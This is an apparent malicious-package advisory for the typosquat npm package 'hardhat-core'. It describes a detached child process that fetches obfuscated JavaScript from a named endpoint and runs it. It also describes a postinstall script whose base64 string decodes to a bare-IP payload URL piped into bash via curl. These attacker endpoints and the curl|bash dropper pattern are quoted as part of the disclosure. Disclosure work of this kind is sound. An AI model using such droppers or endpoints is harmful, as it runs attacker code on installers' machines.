MAL-2026-3713

hardhat-core version 2.1.2 spawns a detached Node.js child process from index.js that runs lib/caller.js. The child decodes a remote endpoint and header values from base64, POSTs to https://ipcheck-hashed.vercel.app/api/auth/f1f097d93c318c92f0c5, and executes the returned JavaScript with the Function constructor. The fetched payload is obfuscated JavaScript, allowing attacker-controlled remote code execution when the package is loaded.

--- _-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (bb86c79e7ed3cd429c0f28bc08e00ce020df2ec42fdda086ad8bfca99f259930) package.json declares a postinstall script that base64-decodes the string 'aHR0cDovLzguMjE3Ljc1LjE0NzozMDAwL3BheWxvYWQ=' to the URL http://8.217.75.147:3000/payload and pipes the response into bash via `curl -s <url> | bash`. This fires automatically during `npm install`, executing attacker-controlled shell code fetched over plain HTTP from a hardcoded bare IP with no integrity verification. The package itself is empty (index.js exports `{}`) and its name impersonates the widely-used `hardhat` Ethereum tooling — the only purpose of installing it is to trigger the dropper. Three independent block signals are present: install-time curl|bash to a non-publisher bare IP, base64-obfuscated URL inside a lifecycle script, and a typosquat name with no real functionality serving as the lure.

## Source: ossf-package-analysis (37a9993551389729247a4d3b88747296e12dc861db457d83581f0e60cd4d0c30) The OpenSSF Package Analysis project identified 'hardhat-core' @ 1.0.0 (npm) as malicious.

It is considered malicious because:

- The package executes one or more commands associated with malicious behavior.